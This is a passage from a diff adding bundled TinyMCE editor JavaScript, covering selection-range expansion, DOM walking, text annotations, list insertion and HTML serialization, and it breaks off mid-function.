+      }, scopeRoot);
+    }
+    if (node && format[0].wrapper) {
+      node = getParents$2(dom, node, 'ul,ol').reverse()[0] || node;
+    }
+    if (!node) {
+      node = container;
+      while (node[siblingName] && !dom.isBlock(node[siblingName])) {
+        node = node[siblingName];
+        if ($_4301413ajjgwe82g.isEq(node, 'br')) {
+          break;
+        }
+      }
+    }
+    return node || container;
+  };
+  var findParentContainer = function (dom, format, startContainer, startOffset, endContainer, endOffset, start) {
+    var container, parent, sibling, siblingName, root;
+    container = parent = start ? startContainer : endContainer;
+    siblingName = start ? 'previousSibling' : 'nextSibling';
+    root = dom.getRoot();
+    if (container.nodeType === 3 && !isWhiteSpaceNode$1(container)) {
+      if (start ? startOffset > 0 : endOffset < container.nodeValue.length) {
+        return container;
+      }
+    }
+    while (true) {
+      if (!format[0].block_expand && dom.isBlock(parent)) {
+        return parent;
+      }
+      for (sibling = parent[siblingName]; sibling; sibling = sibling[siblingName]) {
+        if (!isBookmarkNode$2(sibling) && !isWhiteSpaceNode$1(sibling) && !isBogusBr(sibling)) {
+          return parent;
+        }
+      }
+      if (parent === root || parent.parentNode === root) {
+        container = parent;
+        break;
+      }
+      parent = parent.parentNode;
+    }
+    return container;
+  };
+  var expandRng = function (editor, rng, format, remove) {
+    var endPoint, startContainer = rng.startContainer, startOffset = rng.startOffset, endContainer = rng.endContainer, endOffset = rng.endOffset;
+    var dom = editor.dom;
+    if (startContainer.nodeType === 1 && startContainer.hasChildNodes()) {
+      startContainer = getNode(startContainer, startOffset);
+      if (startContainer.nodeType === 3) {
+        startOffset = 0;
+      }
+    }
+    if (endContainer.nodeType === 1 && endContainer.hasChildNodes()) {
+      endContainer = getNode(endContainer, rng.collapsed ? endOffset : endOffset - 1);
+      if (endContainer.nodeType === 3) {
+        endOffset = endContainer.nodeValue.length;
+      }
+    }
+    startContainer = findParentContentEditable(dom, startContainer);
+    endContainer = findParentContentEditable(dom, endContainer);
+    if (isBookmarkNode$2(startContainer.parentNode) || isBookmarkNode$2(startContainer)) {
+      startContainer = isBookmarkNode$2(startContainer) ? startContainer : startContainer.parentNode;
+      startContainer = startContainer.nextSibling || startContainer;
+      if (startContainer.nodeType === 3) {
+        startOffset = 0;
+      }
+    }
+    if (isBookmarkNode$2(endContainer.parentNode) || isBookmarkNode$2(endContainer)) {
+      endContainer = isBookmarkNode$2(endContainer) ? endContainer : endContainer.parentNode;
+      endContainer = endContainer.previousSibling || endContainer;
+      if (endContainer.nodeType === 3) {
+        endOffset = endContainer.length;
+      }
+    }
+    if (format[0].inline) {
+      if (rng.collapsed) {
+        endPoint = findWordEndPoint(dom, editor.getBody(), startContainer, startOffset, true, remove);
+        if (endPoint) {
+          startContainer = endPoint.container;
+          startOffset = endPoint.offset;
+        }
+        endPoint = findWordEndPoint(dom, editor.getBody(), endContainer, endOffset, false, remove);
+        if (endPoint) {
+          endContainer = endPoint.container;
+          endOffset = endPoint.offset;
+        }
+      }
+      endContainer = remove ? endContainer : excludeTrailingWhitespace(endContainer, endOffset);
+    }
+    if (format[0].inline || format[0].block_expand) {
+      if (!format[0].inline || (startContainer.nodeType !== 3 || startOffset === 0)) {
+        startContainer = findParentContainer(dom, format, startContainer, startOffset, endContainer, endOffset, true);
+      }
+      if (!format[0].inline || (endContainer.nodeType !== 3 || endOffset === endContainer.nodeValue.length)) {
+        endContainer = findParentContainer(dom, format, startContainer, startOffset, endContainer, endOffset, false);
+      }
+    }
+    if (format[0].selector && format[0].expand !== false && !format[0].inline) {
+      startContainer = findSelectorEndPoint(dom, format, rng, startContainer, 'previousSibling');
+      endContainer = findSelectorEndPoint(dom, format, rng, endContainer, 'nextSibling');
+    }
+    if (format[0].block || format[0].selector) {
+      startContainer = findBlockEndPoint(editor, format, startContainer, 'previousSibling');
+      endContainer = findBlockEndPoint(editor, format, endContainer, 'nextSibling');
+      if (format[0].block) {
+        if (!dom.isBlock(startContainer)) {
+          startContainer = findParentContainer(dom, format, startContainer, startOffset, endContainer, endOffset, true);
+        }
+        if (!dom.isBlock(endContainer)) {
+          endContainer = findParentContainer(dom, format, startContainer, startOffset, endContainer, endOffset, false);
+        }
+      }
+    }
+    if (startContainer.nodeType === 1) {
+      startOffset = dom.nodeIndex(startContainer);
+      startContainer = startContainer.parentNode;
+    }
+    if (endContainer.nodeType === 1) {
+      endOffset = dom.nodeIndex(endContainer) + 1;
+      endContainer = endContainer.parentNode;
+    }
+    return {
+      startContainer: startContainer,
+      startOffset: startOffset,
+      endContainer: endContainer,
+      endOffset: endOffset
+    };
+  };
+  var $_1f06hv2ujjgwe7y7 = { expandRng: expandRng };
+
+  var each$8 = $_6cwiepljjgwe7j4.each;
+  var getEndChild = function (container, index) {
+    var childNodes = container.childNodes;
+    index--;
+    if (index > childNodes.length - 1) {
+      index = childNodes.length - 1;
+    } else if (index < 0) {
+      index = 0;
+    }
+    return childNodes[index] || container;
+  };
+  var walk$2 = function (dom, rng, callback) {
+    var startContainer = rng.startContainer;
+    var startOffset = rng.startOffset;
+    var endContainer = rng.endContainer;
+    var endOffset = rng.endOffset;
+    var ancestor;
+    var startPoint;
+    var endPoint;
+    var node;
+    var parent;
+    var siblings;
+    var nodes;
+    nodes = dom.select('td[data-mce-selected],th[data-mce-selected]');
+    if (nodes.length > 0) {
+      each$8(nodes, function (node) {
+        callback([node]);
+      });
+      return;
+    }
+    var exclude = function (nodes) {
+      var node;
+      node = nodes[0];
+      if (node.nodeType === 3 && node === startContainer && startOffset >= node.nodeValue.length) {
+        nodes.splice(0, 1);
+      }
+      node = nodes[nodes.length - 1];
+      if (endOffset === 0 && nodes.length > 0 && node === endContainer && node.nodeType === 3) {
+        nodes.splice(nodes.length - 1, 1);
+      }
+      return nodes;
+    };
+    var collectSiblings = function (node, name, endNode) {
+      var siblings = [];
+      for (; node && node !== endNode; node = node[name]) {
+        siblings.push(node);
+      }
+      return siblings;
+    };
+    var findEndPoint = function (node, root) {
+      do {
+        if (node.parentNode === root) {
+          return node;
+        }
+        node = node.parentNode;
+      } while (node);
+    };
+    var walkBoundary = function (startNode, endNode, next) {
+      var siblingName = next ? 'nextSibling' : 'previousSibling';
+      for (node = startNode, parent = node.parentNode; node && node !== endNode; node = parent) {
+        parent = node.parentNode;
+        siblings = collectSiblings(node === startNode ? node : node[siblingName], siblingName);
+        if (siblings.length) {
+          if (!next) {
+            siblings.reverse();
+          }
+          callback(exclude(siblings));
+        }
+      }
+    };
+    if (startContainer.nodeType === 1 && startContainer.hasChildNodes()) {
+      startContainer = startContainer.childNodes[startOffset];
+    }
+    if (endContainer.nodeType === 1 && endContainer.hasChildNodes()) {
+      endContainer = getEndChild(endContainer, endOffset);
+    }
+    if (startContainer === endContainer) {
+      return callback(exclude([startContainer]));
+    }
+    ancestor = dom.findCommonAncestor(startContainer, endContainer);
+    for (node = startContainer; node; node = node.parentNode) {
+      if (node === endContainer) {
+        return walkBoundary(startContainer, ancestor, true);
+      }
+      if (node === ancestor) {
+        break;
+      }
+    }
+    for (node = endContainer; node; node = node.parentNode) {
+      if (node === startContainer) {
+        return walkBoundary(endContainer, ancestor);
+      }
+      if (node === ancestor) {
+        break;
+      }
+    }
+    startPoint = findEndPoint(startContainer, ancestor) || startContainer;
+    endPoint = findEndPoint(endContainer, ancestor) || endContainer;
+    walkBoundary(startContainer, startPoint, true);
+    siblings = collectSiblings(startPoint === startContainer ? startPoint : startPoint.nextSibling, 'nextSibling', endPoint === endContainer ? endPoint.nextSibling : endPoint);
+    if (siblings.length) {
+      callback(exclude(siblings));
+    }
+    walkBoundary(endContainer, endPoint);
+  };
+  var $_e2gzn43bjjgwe82k = { walk: walk$2 };
+
+  var zeroWidth = function () {
+    return '\uFEFF';
+  };
+
+  function NodeValue (is, name) {
+    var get = function (element) {
+      if (!is(element))
+        throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
+      return getOption(element).getOr('');
+    };
+    var getOptionIE10 = function (element) {
+      try {
+        return getOptionSafe(element);
+      } catch (e) {
+        return Option.none();
+      }
+    };
+    var getOptionSafe = function (element) {
+      return is(element) ? Option.from(element.dom().nodeValue) : Option.none();
+    };
+    var browser = $_7vg267ojjgwe7k0.detect().browser;
+    var getOption = browser.isIE() && browser.version.major === 10 ? getOptionIE10 : getOptionSafe;
+    var set = function (element, value) {
+      if (!is(element))
+        throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
+      element.dom().nodeValue = value;
+    };
+    return {
+      get: get,
+      getOption: getOption,
+      set: set
+    };
+  }
+
+  var api = NodeValue($_fxxo5411jjgwe7lq.isText, 'text');
+  var get$4 = function (element) {
+    return api.get(element);
+  };
+  var getOption = function (element) {
+    return api.getOption(element);
+  };
+  var set$2 = function (element, value) {
+    api.set(element, value);
+  };
+  var $_8mxs233ejjgwe82u = {
+    get: get$4,
+    getOption: getOption,
+    set: set$2
+  };
+
+  var isZeroWidth = function (elem) {
+    return $_fxxo5411jjgwe7lq.isText(elem) && $_8mxs233ejjgwe82u.get(elem) === zeroWidth();
+  };
+  var context = function (editor, elem, wrapName, nodeName) {
+    return $_d3rmjp18jjgwe7nc.parent(elem).fold(function () {
+      return 'skipping';
+    }, function (parent) {
+      if (nodeName === 'br' || isZeroWidth(elem)) {
+        return 'skipping';
+      } else if (isAnnotation(elem)) {
+        return 'existing';
+      } else if (isCaretNode(elem)) {
+        return 'caret';
+      } else if (!$_4301413ajjgwe82g.isValid(editor, wrapName, nodeName) || !$_4301413ajjgwe82g.isValid(editor, $_fxxo5411jjgwe7lq.name(parent), wrapName)) {
+        return 'invalid-child';
+      } else {
+        return 'valid';
+      }
+    });
+  };
+
+  var __rest = undefined && undefined.__rest || function (s, e) {
+    var t = {};
+    for (var p in s)
+      if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
+        t[p] = s[p];
+    if (s != null && typeof Object.getOwnPropertySymbols === 'function')
+      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++)
+        if (e.indexOf(p[i]) < 0)
+          t[p[i]] = s[p[i]];
+    return t;
+  };
+  var applyWordGrab = function (editor, rng) {
+    var r = $_1f06hv2ujjgwe7y7.expandRng(editor, rng, [{ inline: true }], false);
+    rng.setStart(r.startContainer, r.startOffset);
+    rng.setEnd(r.endContainer, r.endOffset);
+    editor.selection.setRng(rng);
+  };
+  var annotate = function (editor, rng, annotationName, decorate, _a) {
+    var _b = _a.uid, uid = _b === void 0 ? generate('mce-annotation') : _b, data = __rest(_a, ['uid']);
+    var newWrappers = [];
+    var master = Element$$1.fromTag('span');
+    $_9lrjdk23jjgwe7u2.add(master, annotation());
+    $_etx7gr15jjgwe7mr.set(master, '' + dataAnnotationId(), uid);
+    $_etx7gr15jjgwe7mr.set(master, '' + dataAnnotation(), annotationName);
+    var _c = decorate(uid, data), _d = _c.attributes, attributes = _d === void 0 ? {} : _d, _e = _c.classes, classes = _e === void 0 ? [] : _e;
+    $_etx7gr15jjgwe7mr.setAll(master, attributes);
+    $_cu95hr2hjjgwe7w8.add(master, classes);
+    var wrapper = Cell(Option.none());
+    var finishWrapper = function () {
+      wrapper.set(Option.none());
+    };
+    var getOrOpenWrapper = function () {
+      return wrapper.get().getOrThunk(function () {
+        var nu = $_6do1m42ijjgwe7wd.shallow(master);
+        newWrappers.push(nu);
+        wrapper.set(Option.some(nu));
+        return nu;
+      });
+    };
+    var processElements = function (elems) {
+      each(elems, processElement);
+    };
+    var processElement = function (elem) {
+      var ctx = context(editor, elem, 'span', $_fxxo5411jjgwe7lq.name(elem));
+      switch (ctx) {
+      case 'invalid-child': {
+          finishWrapper();
+          var children = $_d3rmjp18jjgwe7nc.children(elem);
+          processElements(children);
+          finishWrapper();
+          break;
+        }
+      case 'valid': {
+          var w = getOrOpenWrapper();
+          $_ewo3u51yjjgwe7su.wrap(elem, w);
+          break;
+        }
+      case 'skipping':
+      case 'existing':
+      case 'caret': 
+      }
+    };
+    var processNodes = function (nodes) {
+      var elems = map(nodes, Element$$1.fromDom);
+      processElements(elems);
+    };
+    $_e2gzn43bjjgwe82k.walk(editor.dom, rng, function (nodes) {
+      finishWrapper();
+      processNodes(nodes);
+    });
+    return newWrappers;
+  };
+  var annotateWithBookmark = function (editor, name, settings, data) {
+    editor.undoManager.transact(function () {
+      var initialRng = editor.selection.getRng();
+      if (initialRng.collapsed) {
+        applyWordGrab(editor, initialRng);
+      }
+      var bookmark = $_ga29lf2jjjgwe7wh.getPersistentBookmark(editor.selection, true);
+      var rng = editor.selection.getRng();
+      annotate(editor, rng, name, settings.decorate, data);
+      editor.selection.moveToBookmark(bookmark);
+    });
+  };
+
+  function Annotator (editor) {
+    var registry = create$1();
+    setup$1(editor, registry);
+    var changes = setup(editor, registry);
+    return {
+      register: function (name, settings) {
+        registry.register(name, settings);
+      },
+      annotate: function (name, data) {
+        registry.lookup(name).each(function (settings) {
+          annotateWithBookmark(editor, name, settings, data);
+        });
+      },
+      annotationChanged: function (name, callback) {
+        changes.addListener(name, callback);
+      },
+      remove: function (name) {
+        identify(editor, Option.some(name)).each(function (_a) {
+          var elements = _a.elements;
+          each(elements, $_81exq51wjjgwe7sm.unwrap);
+        });
+      },
+      getAll: function (name) {
+        var directory = findAll(editor, name);
+        return map$2(directory, function (elems) {
+          return map(elems, function (elem) {
+            return elem.dom();
+          });
+        });
+      }
+    };
+  }
+
+  var hasOnlyOneChild = function (node) {
+    return node.firstChild && node.firstChild === node.lastChild;
+  };
+  var isPaddingNode = function (node) {
+    return node.name === 'br' || node.value === '\xA0';
+  };
+  var isPaddedEmptyBlock = function (schema, node) {
+    var blockElements = schema.getBlockElements();
+    return blockElements[node.name] && hasOnlyOneChild(node) && isPaddingNode(node.firstChild);
+  };
+  var isEmptyFragmentElement = function (schema, node) {
+    var nonEmptyElements = schema.getNonEmptyElements();
+    return node && (node.isEmpty(nonEmptyElements) || isPaddedEmptyBlock(schema, node));
+  };
+  var isListFragment = function (schema, fragment) {
+    var firstChild = fragment.firstChild;
+    var lastChild = fragment.lastChild;
+    if (firstChild && firstChild.name === 'meta') {
+      firstChild = firstChild.next;
+    }
+    if (lastChild && lastChild.attr('id') === 'mce_marker') {
+      lastChild = lastChild.prev;
+    }
+    if (isEmptyFragmentElement(schema, lastChild)) {
+      lastChild = lastChild.prev;
+    }
+    if (!firstChild || firstChild !== lastChild) {
+      return false;
+    }
+    return firstChild.name === 'ul' || firstChild.name === 'ol';
+  };
+  var cleanupDomFragment = function (domFragment) {
+    var firstChild = domFragment.firstChild;
+    var lastChild = domFragment.lastChild;
+    if (firstChild && firstChild.nodeName === 'META') {
+      firstChild.parentNode.removeChild(firstChild);
+    }
+    if (lastChild && lastChild.id === 'mce_marker') {
+      lastChild.parentNode.removeChild(lastChild);
+    }
+    return domFragment;
+  };
+  var toDomFragment = function (dom, serializer, fragment) {
+    var html = serializer.serialize(fragment);
+    var domFragment = dom.createFragment(html);
+    return cleanupDomFragment(domFragment);
+  };
+  var listItems$1 = function (elm) {
+    return $_6cwiepljjgwe7j4.grep(elm.childNodes, function (child) {
+      return child.nodeName === 'LI';
+    });
+  };
+  var isPadding = function (node) {
+    return node.data === '\xA0' || $_3b9u2y1rjjgwe7qe.isBr(node);
+  };
+  var isListItemPadded = function (node) {
+    return node && node.firstChild && node.firstChild === node.lastChild && isPadding(node.firstChild);
+  };
+  var isEmptyOrPadded = function (elm) {
+    return !elm.firstChild || isListItemPadded(elm);
+  };
+  var trimListItems = function (elms) {
+    return elms.length > 0 && isEmptyOrPadded(elms[elms.length - 1]) ? elms.slice(0, -1) : elms;
+  };
+  var getParentLi = function (dom, node) {
+    var parentBlock = dom.getParent(node, dom.isBlock);
+    return parentBlock && parentBlock.nodeName === 'LI' ? parentBlock : null;
+  };
+  var isParentBlockLi = function (dom, node) {
+    return !!getParentLi(dom, node);
+  };
+  var getSplit = function (parentNode, rng) {
+    var beforeRng = rng.cloneRange();
+    var afterRng = rng.cloneRange();
+    beforeRng.setStartBefore(parentNode);
+    afterRng.setEndAfter(parentNode);
+    return [
+      beforeRng.cloneContents(),
+      afterRng.cloneContents()
+    ];
+  };
+  var findFirstIn = function (node, rootNode) {
+    var caretPos = CaretPosition$1.before(node);
+    var caretWalker = CaretWalker(rootNode);
+    var newCaretPos = caretWalker.next(caretPos);
+    return newCaretPos ? newCaretPos.toRange() : null;
+  };
+  var findLastOf = function (node, rootNode) {
+    var caretPos = CaretPosition$1.after(node);
+    var caretWalker = CaretWalker(rootNode);
+    var newCaretPos = caretWalker.prev(caretPos);
+    return newCaretPos ? newCaretPos.toRange() : null;
+  };
+  var insertMiddle = function (target, elms, rootNode, rng) {
+    var parts = getSplit(target, rng);
+    var parentElm = target.parentNode;
+    parentElm.insertBefore(parts[0], target);
+    $_6cwiepljjgwe7j4.each(elms, function (li) {
+      parentElm.insertBefore(li, target);
+    });
+    parentElm.insertBefore(parts[1], target);
+    parentElm.removeChild(target);
+    return findLastOf(elms[elms.length - 1], rootNode);
+  };
+  var insertBefore = function (target, elms, rootNode) {
+    var parentElm = target.parentNode;
+    $_6cwiepljjgwe7j4.each(elms, function (elm) {
+      parentElm.insertBefore(elm, target);
+    });
+    return findFirstIn(target, rootNode);
+  };
+  var insertAfter = function (target, elms, rootNode, dom) {
+    dom.insertAfter(elms.reverse(), target);
+    return findLastOf(elms[0], rootNode);
+  };
+  var insertAtCaret = function (serializer, dom, rng, fragment) {
+    var domFragment = toDomFragment(dom, serializer, fragment);
+    var liTarget = getParentLi(dom, rng.startContainer);
+    var liElms = trimListItems(listItems$1(domFragment.firstChild));
+    var BEGINNING = 1, END = 2;
+    var rootNode = dom.getRoot();
+    var isAt = function (location) {
+      var caretPos = CaretPosition$1.fromRangeStart(rng);
+      var caretWalker = CaretWalker(dom.getRoot());
+      var newPos = location === BEGINNING ? caretWalker.prev(caretPos) : caretWalker.next(caretPos);
+      return newPos ? getParentLi(dom, newPos.getNode()) !== liTarget : true;
+    };
+    if (isAt(BEGINNING)) {
+      return insertBefore(liTarget, liElms, rootNode);
+    } else if (isAt(END)) {
+      return insertAfter(liTarget, liElms, rootNode, dom);
+    }
+    return insertMiddle(liTarget, liElms, rootNode, rng);
+  };
+  var $_1z3gsr3jjjgwe84c = {
+    isListFragment: isListFragment,
+    insertAtCaret: insertAtCaret,
+    isParentBlockLi: isParentBlockLi,
+    trimListItems: trimListItems,
+    listItems: listItems$1
+  };
+
+  var each$9 = $_6cwiepljjgwe7j4.each;
+  var ElementUtils = function (dom) {
+    this.compare = function (node1, node2) {
+      if (node1.nodeName !== node2.nodeName) {
+        return false;
+      }
+      var getAttribs = function (node) {
+        var attribs = {};
+        each$9(dom.getAttribs(node), function (attr) {
+          var name = attr.nodeName.toLowerCase();
+          if (name.indexOf('_') !== 0 && name !== 'style' && name.indexOf('data-') !== 0) {
+            attribs[name] = dom.getAttrib(node, name);
+          }
+        });
+        return attribs;
+      };
+      var compareObjects = function (obj1, obj2) {
+        var value, name;
+        for (name in obj1) {
+          if (obj1.hasOwnProperty(name)) {
+            value = obj2[name];
+            if (typeof value === 'undefined') {
+              return false;
+            }
+            if (obj1[name] !== value) {
+              return false;
+            }
+            delete obj2[name];
+          }
+        }
+        for (name in obj2) {
+          if (obj2.hasOwnProperty(name)) {
+            return false;
+          }
+        }
+        return true;
+      };
+      if (!compareObjects(getAttribs(node1), getAttribs(node2))) {
+        return false;
+      }
+      if (!compareObjects(dom.parseStyle(dom.getAttrib(node1, 'style')), dom.parseStyle(dom.getAttrib(node2, 'style')))) {
+        return false;
+      }
+      return !$_6refgt2vjjgwe7yn.isBookmarkNode(node1) && !$_6refgt2vjjgwe7yn.isBookmarkNode(node2);
+    };
+  };
+
+  var getLastChildren = function (elm) {
+    var children = [];
+    var rawNode = elm.dom();
+    while (rawNode) {
+      children.push(Element$$1.fromDom(rawNode));
+      rawNode = rawNode.lastChild;
+    }
+    return children;
+  };
+  var removeTrailingBr = function (elm) {
+    var allBrs = $_d3ydn427jjgwe7uf.descendants(elm, 'br');
+    var brs = filter(getLastChildren(elm).slice(-1), isBr);
+    if (allBrs.length === brs.length) {
+      each(brs, $_81exq51wjjgwe7sm.remove);
+    }
+  };
+  var fillWithPaddingBr = function (elm) {
+    $_81exq51wjjgwe7sm.empty(elm);
+    $_ewo3u51yjjgwe7su.append(elm, Element$$1.fromHtml('<br data-mce-bogus="1">'));
+  };
+  var isPaddingContents = function (elm) {
+    return $_fxxo5411jjgwe7lq.isText(elm) ? $_8mxs233ejjgwe82u.get(elm) === '\xA0' : isBr(elm);
+  };
+  var isPaddedElement = function (elm) {
+    return filter($_d3rmjp18jjgwe7nc.children(elm), isPaddingContents).length === 1;
+  };
+  var trimBlockTrailingBr = function (elm) {
+    $_d3rmjp18jjgwe7nc.lastChild(elm).each(function (lastChild) {
+      $_d3rmjp18jjgwe7nc.prevSibling(lastChild).each(function (lastChildPrevSibling) {
+        if (isBlock(elm) && isBr(lastChild) && isBlock(lastChildPrevSibling)) {
+          $_81exq51wjjgwe7sm.remove(lastChild);
+        }
+      });
+    });
+  };
+  var $_fhp7pa3ljjgwe84n = {
+    removeTrailingBr: removeTrailingBr,
+    fillWithPaddingBr: fillWithPaddingBr,
+    isPaddedElement: isPaddedElement,
+    trimBlockTrailingBr: trimBlockTrailingBr
+  };
+
+  var makeMap$3 = $_6cwiepljjgwe7j4.makeMap;
+  function Writer (settings) {
+    var html = [];
+    var indent, indentBefore, indentAfter, encode, htmlOutput;
+    settings = settings || {};
+    indent = settings.indent;
+    indentBefore = makeMap$3(settings.indent_before || '');
+    indentAfter = makeMap$3(settings.indent_after || '');
+    encode = $_6pqr9q1sjjgwe7qj.getEncodeFunc(settings.entity_encoding || 'raw', settings.entities);
+    htmlOutput = settings.element_format === 'html';
+    return {
+      start: function (name, attrs, empty) {
+        var i, l, attr, value;
+        if (indent && indentBefore[name] && html.length > 0) {
+          value = html[html.length - 1];
+          if (value.length > 0 && value !== '\n') {
+            html.push('\n');
+          }
+        }
+        html.push('<', name);
+        if (attrs) {
+          for (i = 0, l = attrs.length; i < l; i++) {
+            attr = attrs[i];
+            html.push(' ', attr.name, '="', encode(attr.value, true), '"');
+          }
+        }
+        if (!empty || htmlOutput) {
+          html[html.length] = '>';
+        } else {
+          html[html.length] = ' />';
+        }
+        if (empty && indent && indentAfter[name] && html.length > 0) {
+          value = html[html.length - 1];
+          if (value.length > 0 && value !== '\n') {
+            html.push('\n');
+          }
+        }
+      },
+      end: function (name) {
+        var value;
+        html.push('</', name, '>');
+        if (indent && indentAfter[name] && html.length > 0) {
+          value = html[html.length - 1];
+          if (value.length > 0 && value !== '\n') {
+            html.push('\n');
+          }
+        }
+      },
+      text: function (text, raw) {
+        if (text.length > 0) {
+          html[html.length] = raw ? text : encode(text);
+        }
+      },
+      cdata: function (text) {
+        html.push('<![CDATA[', text, ']]>');
+      },
+      comment: function (text) {
+        html.push('<!--', text, '-->');
+      },
+      pi: function (name, text) {
+        if (text) {
+          html.push('<?', name, ' ', encode(text), '?>');
+        } else {
+          html.push('<?', name, '?>');
+        }
+        if (indent) {
+          html.push('\n');
+        }
+      },
+      doctype: function (text) {
+        html.push('<!DOCTYPE', text, '>', indent ? '\n' : '');
+      },
+      reset: function () {
+        html.length = 0;
+      },
+      getContent: function () {
+        return html.join('').replace(/\n$/, '');
+      }
+    };
+  }
+
+  function HtmlSerializer (settings, schema) {
+    if (schema === void 0) {
+      schema = Schema();
+    }
+    var writer = Writer(settings);
+    settings = settings || {};
+    settings.validate = 'validate' in settings ? settings.validate : true;
+    var serialize = function (node) {
+      var handlers, validate;
+      validate = settings.validate;
+      handlers = {
+        3: function (node) {
+          writer.text(node.value, node.raw);
+        },
+        8: function (node) {
+          writer.comment(node.value);
+        },
+        7: function (node) {
+          writer.pi(node.name, node.value);
+        },
+        10: function (node) {
+          writer.doctype(node.value);
+        },
+        4: function (node) {
+          writer.cdata(node.value);
+        },
+        11: function (node) {
+          if (node = node.firstChild) {
+            do {
+              walk(node);
+            } while (node = node.next);
+          }
+        }
+      };
+      writer.reset();
+      var walk = function (node) {
+        var handler = handlers[node.type];
+        var name, isEmpty, attrs, attrName, attrValue, sortedAttrs, i, l, elementRule;
+        if (!handler) {
+          name = node.name;
+          isEmpty = node.shortEnded;
+          attrs = node.attributes;
+          if (validate && attrs && attrs.length > 1) {
+            sortedAttrs = [];
+            sortedAttrs.map = {};
+            elementRule = schema.getElementRule(node.name);
+            if (elementRule) {
+              for (i = 0, l = elementRule.attributesOrder.length; i < l; i++) {
+                attrName = elementRule.attributesOrder[i];
+                if (attrName in attrs.map) {
+                  attrValue = attrs.map[attrName];
+                  sortedAttrs.map[attrName] = attrValue;
+                  sortedAttrs.push({
+                    name: attrName,
+                    value: attrValue
+                  });
+                }
+              }
+              for (i = 0, l = attrs.length; i < l; i++) {
+                attrName = attrs[i].name;
+                if (!(attrName in sortedAttrs.map)) {
+                  attrValue = attrs.map[attrName];
+                  sortedAttrs.map[attrName] = attrValue;
+                  sortedAttrs.push({
+                    name: attrName,
+                    value: attrValue
+                  });
+                }
+              }
+              attrs = sortedAttrs;
+            }
+          }
+          writer.start(node.name, attrs, isEmpty);
+          if (!isEmpty) {
+            if (node = node.firstChild) {
+              do {
+                walk(node);
+              } while (node = node.next);
+            }
+            writer.end(name);
+          }
+        } else {
+          handler(node);
+        }
+      };
+      if (node.type === 1 && !settings.inner) {
+        walk(node);
+      } else {
+        handlers[11](node);
+      }
+      return writer.getContent();
+    };
+    return { serialize: serialize };
+  }
+
+  var createRange$1 = function (sc, so, ec, eo) {
+    var rng = document.createRange();
+    rng.setStart(sc, so);
+    rng.setEnd(ec, eo);
+    return rng;
+  };
+  var normalizeBlockSelectionRange = function (rng) {
+    var startPos = CaretPosition$1.fromRangeStart(rng);
+    var endPos = CaretPosition$1.fromRangeEnd(rng);
+    var rootNode = rng.commonAncestorContainer;
+    return $_8q1ver2yjjgwe7z3.fromPosition(false, rootNode, endPos).map(function (newEndPos) {
+      if (!isInSameBlock(startPos, endPos, rootNode) && isInSameBlock(startPos, newEndPos, rootNode)) {
+        return createRange$1(startPos.container(), startPos.offset(), newEndPos.container(), newEndPos.offset());
+      } else {
+        return rng;
+      }
+    }).getOr(rng);
+  };
+  var normalize = function (rng) {
+    return rng.collapsed ? rng : normalizeBlockSelectionRange(rng);
+  };
+  var $_e1wrz53ojjgwe85f = { normalize: normalize };
+
+  var isTableCell$2 = $_3b9u2y1rjjgwe7qe.matchNodeNames('td th');
+  var validInsertion = function (editor, value, parentNode) {
+    if (parentNode.getAttribute('data-mce-bogus') === 'all') {
+      parentNode.parentNode.insertBefore(editor.dom.createFragment(value), parentNode);
+    } else {
+      var node = parentNode.firstChild;
+      var node2 = parentNode.lastChild;
+      if (!node || node === node2 && node.nodeName === 'BR') {
+        editor.dom.setHTML(parentNode, value);
+      } else {
+        editor.selection.setContent(value);
+      }
+    }
+  };
+  var trimBrsFromTableCell = function (dom, elm) {
+    Option.from(dom.getParent(elm, 'td,th')).map(Element$$1.fromDom).each($_fhp7pa3ljjgwe84n.trimBlockTrailingBr);
+  };
+  var insertHtmlAtCaret = function (editor, value, details) {
+    var parser, serializer, parentNode, rootNode, fragment, args;
+    var marker, rng, node, node2, bookmarkHtml, merge;
+    var textInlineElements = editor.schema.getTextInlineElements();
+    var selection = editor.selection, dom = editor.dom;
+    var trimOrPaddLeftRight = function (html) {
+      var rng, container, offset;
+      rng = selection.getRng();
+      container = rng.startContainer;
+      offset = rng.startOffset;
+      var hasSiblingText = function (siblingName) {
+        return container[siblingName] && container[siblingName].nodeType === 3;
+      };
+      if (container.nodeType === 3) {
+        if (offset > 0) {
+          html = html.replace(/^&nbsp;/, ' ');
+        } else if (!hasSiblingText('previousSibling')) {
+          html = html.replace(/^ /, '&nbsp;');
+        }
+        if (offset < container.length) {
+          html = html.replace(/&nbsp;(<br>|)$/, ' ');
+        } else if (!hasSiblingText('nextSibling')) {
+          html = html.replace(/(&nbsp;| )(<br>|)$/, '&nbsp;');
+        }
+      }
+      return html;
+    };
+    var trimNbspAfterDeleteAndPaddValue = function () {
+      var rng, container, offset;
+      rng = selection.getRng();
+      container = rng.startContainer;
+      offset = rng.startOffset;
+      if (container.nodeType === 3 && rng.collapsed) {
+        if (container.data[offset] === '\xA0') {
+          container.deleteData(offset, 1);
+          if (!/[\u00a0| ]$/.test(value)) {
+            value += ' ';
+          }
+        } else if (container.data[offset - 1] === '\xA0') {
+          container.deleteData(offset - 1, 1);
+          if (!/[\u00a0| ]$/.test(value)) {
+            value = ' ' + value;
+          }
+        }
+      }
+    };
+    var reduceInlineTextElements = function () {
+      if (merge) {
+        var root_1 = editor.getBody(), elementUtils_1 = new ElementUtils(dom);
+        $_6cwiepljjgwe7j4.each(dom.select('*[data-mce-fragment]'), function (node) {
+          for (var testNode = node.parentNode; testNode && testNode !== root_1; testNode = testNode.parentNode) {
+            if (textInlineElements[node.nodeName.toLowerCase()] && elementUtils_1.compare(testNode, node)) {
+              dom.remove(node, true);
+            }
+          }
+        });
+      }
+    };
+    var markFragmentElements = function (fragment) {
+      var node = fragment;
+      while (node = node.walk()) {
+        if (node.type === 1) {
+          node.attr('data-mce-fragment', '1');
+        }
+      }
+    };
+    var umarkFragmentElements = function (elm) {
+      $_6cwiepljjgwe7j4.each(elm.getElementsByTagName('*'), function (elm) {
+        elm.removeAttribute('data-mce-fragment');
+      });
+    };
+    var isPartOfFragment = function (node) {
+      return !!node.getAttribute('data-mce-fragment');
+    };
+    var canHaveChildren = function (node) {
+      return node && !editor.schema.getShortEndedElements()[node.nodeName];
+    };
+    var moveSelectionToMarker = function (marker) {
+      var parentEditableFalseElm, parentBlock, nextRng;
+      var getContentEditableFalseParent = function (node) {
